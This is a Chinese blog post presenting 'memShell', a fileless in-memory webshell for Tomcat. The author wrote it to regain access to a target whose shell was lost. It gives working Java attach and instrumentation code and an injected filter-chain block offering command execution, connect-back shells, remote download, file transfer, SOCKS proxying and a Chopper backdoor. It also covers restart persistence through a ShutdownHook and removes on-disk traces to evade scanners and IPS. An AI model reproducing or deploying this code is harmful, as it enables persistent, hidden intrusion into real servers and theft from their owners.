引子
上周末,一個好兄弟找我說一個很重要的目標shell丟了,這個shell之前是通過一個S2代碼執行的漏洞拿到的,現在漏洞還在,不過web目錄全部不可寫,問我有沒有辦法搞個webshell繼續做內網。正好我之前一直有個通過“進程注入”來實現內存webshell的想法,於是就趁這個機會以Java為例做了個內存webshell出來(暫且叫它memShell吧),給大家分享一下:)
前言
一般在滲透過程中,我們通常會用到webshell,一個以文件的形式存在於Web容器內的惡意腳本文件。我們通過webshell來讓Web Server來執行我們的任意指令。如果在某些機選情況下,我們不想或者不能在Web目錄下面寫入文件,是不是就束手無策了?當然不是,寫入webshell並不是讓Web Server來執行我們任意代碼的唯一方式,通過直接修改進程的內存也可以實現這個目的。我們只要擁有一個web容器進程執行用戶的權限,理論上就可以完全控制該進程的地址空間(更確切的說是地址空間中的非Kernel部分),包括地址空間內的數據和代碼。OS層進程注入的方法有很多,不過具體到Java環境,我們不需要使用操作系統層面的進程注入方法。Java為我們提供了更方便的接口:Java Instrumentation。
Java Instrumentation簡介
先看下官方概念:java Instrumentation指的是可以用獨立於應用程序之外的代理(agent)程序來監測和協助運行在JVM上的應用程序。這種監測和協助包括但不限於獲取JVM運行時狀態,替換和修改類定義等。簡單一句話概括下:Java Instrumentation可以在JVM啟動后,動態修改已加載或者未加載的類,包括類的屬性、方法。該機制最早於Java SE5 引入,Java SE6之后的機制相對於Java SE5有較大改進,因為現在Java SE5這種古董級別的環境已經不多,此處不再贅述。
下面看一個簡單的例子:首先新建3個Java工程Example、Agent和AgentStarter。
在工程Example中新建2個類:
Bird.java:
public class Bird { public void say() { System.out.println("bird is gone."); } }
然后把編譯后的Bird.class復制出來,放到D盤根目錄。然后把Bird.java再改成如下:
Bird.java:
public class Bird { public void say() { System.out.println("bird say hello"); } }
Main.java:
public class Main { public static void main(String[] args) throws Exception { // TODO Auto-generated method stub while(true) { Bird bird=new Bird(); bird.say(); Thread.sleep(3000); } } }
把整個工程打包成可執行jar包normal.jar,放到D盤根目錄。在工程Agent中新建2個類:
AgentEntry.java:
public class AgentEntry { public static void agentmain(String agentArgs, Instrumentation inst) throws ClassNotFoundException, UnmodifiableClassException, InterruptedException { inst.addTransformer(new Transformer (), true); Class[] loadedClasses = inst.getAllLoadedClasses(); for (Class c : loadedClasses) { if (c.getName().equals("Bird")) { try { inst.retransformClasses(c); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } } System.out.println("Class changed!"); } }
Transformer.java:
public class Transformer implements ClassFileTransformer { static byte[] mergeByteArray(byte[]... byteArray) { int totalLength = 0; for(int i = 0; i < byteArray.length; i ++) { if(byteArray[i] == null) { continue; } totalLength += byteArray[i].length; } byte[] result = new byte[totalLength]; int cur = 0; for(int i = 0; i < byteArray.length; i++) { if(byteArray[i] == null) { continue; } System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length); cur += byteArray[i].length; } return result; } public static byte[] getBytesFromFile(String fileName) { try { byte[] result=new byte[] {}; InputStream is = new FileInputStream(new File(fileName)); byte[] bytes = new byte[1024]; int num = 0; while ((num = is.read(bytes)) != -1) { result=mergeByteArray(result,Arrays.copyOfRange(bytes, 0, num)); } is.close(); return result; } catch (Exception e) { e.printStackTrace(); return null; } } public byte[] transform(ClassLoader classLoader, String className, Class<?> c, ProtectionDomain pd, byte[] b) throws IllegalClassFormatException { if (!className.equals("Bird")) { return null; } return getBytesFromFile("d:/Bird.class"); } }
新建一個mainfest文件:
MAINFEST.MF: Manifest-Version: 1.0 Agent-Class: AgentEntry Can-Retransform-Classes: true
然后把Agent工程打包為agent.jar,放到D盤根目錄。在AgentStarter工程中新建1個類:
Attach.java:
public class Attach { public static void main(String[] args) throws Exception { VirtualMachine vm = null; List<VirtualMachineDescriptor> listAfter = null; List<VirtualMachineDescriptor> listBefore = null; listBefore = VirtualMachine.list(); while (true) { try { listAfter = VirtualMachine.list(); if (listAfter.size() <= 0) continue; for (VirtualMachineDescriptor vmd : listAfter) { vm = VirtualMachine.attach(vmd); listBefore.add(vmd); System.out.println("i find a vm,agent.jar was injected."); Thread.sleep(1000); if (null != vm) { vm.loadAgent("d:/agent.jar"); vm.detach(); } } break; } catch (Exception e) { e.printStackTrace(); } } } }
把AgentStarter打包成可執行jar包run.jar,放到D盤根目錄。這時候,D盤根目錄列表如下:
下面開啟兩個命令行窗口,先運行normal.jar,再運行run.jar:
很明顯我們動態改變了正在執行的normal.jar進程中Bird類的say方法體。OK,基本原理就介紹到這里,下面我們拿tomcat來實操。
確定關鍵類
我們想要實現這樣一種效果,訪問web服務器上的任意一個url,無論這個url是靜態資源還是jsp文件,無論這個url是原生servlet還是某個struts action,甚至無論這個url是否真的存在,只要我們的請求傳遞給tomcat,tomcat就能相應我們的指令。為了達到這個目的,需要找一個特殊的類,這個類要盡可能在http請求調用棧的上方,又不能與具體的URL有耦合,而且還能接受客戶端request中的數據。經過分析,發現org.apache.catalina.core.ApplicationFilterChain類的internalDoFilter方法最符合我們的要求,首先看一下internalDoFilter方法的原型:
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {}
該方法有ServletRequest和ServletResponse兩個參數,里面封裝了用戶請求的request和response。另外,internalDoFilter方法是自定義filter的入口,如下圖:
市面上各種流行的Java Web類框架,都是通過一個自定義filter來接管用戶請求的,所以在在internalDoFilter方法中注入通用型更強。下面我們要做的就是修改internalDoFilter方法的字節碼,一般用asm或者javaassist來協助修改字節碼。asm執行性能高,不過易用性差,一般像RASP這種對性能要求比較高的產品會優先采用。javaassist執行性能稍差,不過是源代碼級的,易用性較好,本文即用此方法。
定制internalDoFilter
internalDoFilter是memShell接收用戶請求的入口,我們在方法開始處插入如下的代碼段(節選):
if (pass_the_world!=null&&pass_the_world.equals("rebeyond")) { if (model==null||model.equals("")) { result=Shell.help(); } else if (model.equalsIgnoreCase("exec")) { String cmd=request.getParameter("cmd"); result=Shell.execute(cmd); } else if (model.equalsIgnoreCase("connectback")) { String ip=request.getParameter("ip"); String port=request.getParameter("port"); result=Shell.connectBack(ip, port); } else if (model.equalsIgnoreCase("urldownload")) { String url=request.getParameter("url"); String path=request.getParameter("path"); result=Shell.urldownload(url, path); } else if (model.equalsIgnoreCase("list")) { String path=request.getParameter("path"); result=Shell.list(path); } else if (model.equalsIgnoreCase("download")) { String path=request.getParameter("path"); java.io.File f = new java.io.File(path); if (f.isFile()) { String fileName = f.getName(); java.io.InputStream inStream = new java.io.FileInputStream(path); response.reset(); response.setContentType("bin"); response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\""); byte[] b = new byte[100]; int len; while ((len = inStream.read(b)) > 0) response.getOutputStream().write(b, 0, len); inStream.close(); return; } } else if (model.equalsIgnoreCase("upload")) { String path=request.getParameter("path"); String fileContent=request.getParameter("fileContent"); result=Shell.upload(path, fileContent); } else if (model.equalsIgnoreCase("proxy")) { new Proxy().doProxy(request, response); return; } else if (model.equalsIgnoreCase("chopper")) { new Evaluate().doPost(request, response); return; } response.getWriter().print(result); return; } } catch(Exception e) { response.getWriter().print(e.getMessage()); }
首先判斷是否有pass_the_world密碼字段,如果請求中沒有帶pass_the_world字段,說明是正常的訪問請求,直接轉到正常的處理流程中去,不進入webshell流程,避免影響正常業務。如果請求中有pass_the_world字段且密碼正確,再判斷當前請求的model類型,分別分發到不通的處理分支中去。為了避免對internalDoFilter自身做太大的改動,我把一些比較復雜的邏輯抽象到了外部agent.jar中去實現,由於外部jar包和javax.servlet相關的類classloader不一致,外部jar包中用到了反射的方法去執行一些無法找到的類,比如ServletRquest、ServletResponse等。
最終我們生成了2個jar包,一個inject.jar(功能類似前文demo中的run.jar),用來枚舉當前機器上的jvm實例並進行代碼注入。一個agent.jar,包含我們自定義的常見shell類功能,agent.jar會被inject.jar注入到tomcat進程中。執行java –jar inject.jar完成進程注入動作之后,可以把這兩個jar包刪除,這樣我們就擁有了一個memShell,完全存在於內存中的webshell,硬盤上沒有任何痕跡,再也不用擔心各種webshell掃描工具,IPS,頁面防篡改系統,一切看上去好像很完美。但是……內存中的數據,在進程關閉后就會丟失,如果tomcat被重啟,我們的webshell也會隨之消失,那豈不是然並卵?當然不是。
復活技術
既然文章標題提到了我們要實現的是不死webshell,就一定要保證在tomcat服務重啟后還能存活。memShell通過設置Java虛擬機的關閉鈎子ShutdownHook來達到這個目的。ShutdownHook是JDK提供的一個用來在JVM關掉時清理現場的機制,這個鈎子可以在如下場景中被JVM調用:
1.程序正常退出
2.使用System.exit()退出
3.用戶使用Ctrl+C觸發的中斷導致的退出
4.用戶注銷或者系統關機
5.OutofMemory導致的退出
6.Kill pid命令導致的退出所以ShutdownHook可以很好的保證在tomcat關閉時,我們有機會埋下復活的種子:)如下為我們自定義的ShutdownHook代碼片段:
public static void persist() { try { Thread t = new Thread() { public void run() { try { writeFiles("inject.jar",Agent.injectFileBytes); writeFiles("agent.jar",Agent.agentFileBytes); startInject(); } catch (Exception e) { } } }; t.setName("shutdown Thread"); Runtime.getRuntime().addShutdownHook(t); } catch (Throwable t) { }
JVM關閉前,會先調用writeFiles把inject.jar和agent.jar寫到磁盤上,然后調用startInject,startInject通過Runtime.exec啟動java -jar inject.jar。
memShell流程梳理
下面我們來梳理一下memShell的整個植入流程:
1.將inject.jar和agent.jar上傳至目標Web Server任意目錄下。
2.以tomcat進程啟動的OS用戶執行java –jar inject.jar。
3.inject.jar會通過一個循環遍歷查找Web Server上的JVM進程,並把agent.jar注入進JVM進程中,直到注入成功后,inject.jar才會退出。
4.注入成功后,agent.jar執行agentmain方法,該方法主要做以下幾件事情:
a) 遍歷所有已經加載的類,查找“org.apache.catalina.core.ApplicationFilterChain”,並對該類的internalDoFilter方法進行修改。
b) 修改完之后,把磁盤上的inject.jar和agent.jar讀進tomcat內存中。
c) 對memShell做初始訪問。為什么要做一次初始化訪問呢?因為我們下一步要從磁盤上刪掉agent.jar和inject.jar,在刪除之前如果沒有訪問過memShell的話,memShell相關的一些類就不會加載進內存,這樣后續我們在訪問memShell的時候就會報ClassNotFound異常。有兩種方法初始化類,第一是挨個把需要的類手動加載一次,第二是模擬做一次初始化訪問,memShell采用的后者。
d) 刪除磁盤上的inject.jar和agent.jar。當Web Server是Linux系統的時候,正常刪除文件即可。當Web Server是Windows系統的時候,由於Windows具有文件鎖定機制,當一個文件被其他程序占用時,這個文件是處於鎖定狀態不可刪除的,inject.jar正在被JVM所占用。要刪除這個jar包,需要先打開該進程,遍歷該進程的文件句柄,通過DuplicateHandle來巧妙的關閉文件句柄,然后再執行刪除,我把這個查找句柄、關閉句柄的操作寫進了一個exe中,memShell判斷WebServer是Windows平台時,會先釋放這個exe文件來關閉句柄,再刪除agent.jar。
5.memShell注入完畢,正常接收請求,通過訪問http://xxx/anyurl?show_the_world=password可以看到plain風格的使用說明(為什么是plain風格,因為懶)。
6.當JVM關閉時,會首先執行我們注冊的ShutdownHook:
a) 把第4(b)步中我們讀進內存的inject.jar和agent.jar寫入JVM臨時目錄。
b) 執行java -jar inject.jar,此后過程便又回到上述第3步中,形成一個閉環結構。
到此,memShell的整個流程就介紹完畢了。
memShell用法介紹
1.memShell實現了常見的webshell的功能,像命令執行:
2.memShell通過內嵌reGeorg實現了socks5代理轉發功能,方便內網滲透:
這里要說明一下,因為reGeorg官方的reGeorgSocksProxy.py不支持帶參數的URL,所有我們要稍微改造一下reGeorgSocksProxy.py:
3.memShell內嵌了菜刀一句話:
4.只設置訪問密碼,不設置model類型可查看plain style的help:
后記
本文僅以Java+tomcat為例來介紹內存webshell的原理及實現,其他幾種容器如JBOSS、WebLogic等,只是“定位關鍵類”那一步稍有不同,其他環節都是通用的。理論上其他幾種語言同樣可以實現類似的功能,我就算給大家拋磚引玉了。
Github代碼地址:https://github.com/rebeyond/memShell
里面有很多功能還有可以改進的地方,后面有時間再慢慢完善吧。
最后,華為終端雲SilverNeedle團隊誠招各路安全人才(APT方向),待遇優厚,歡迎私信推薦和自薦:)
參考
1.https://www.ibm.com/developerworks/cn/java/j-lo-jse61/index.html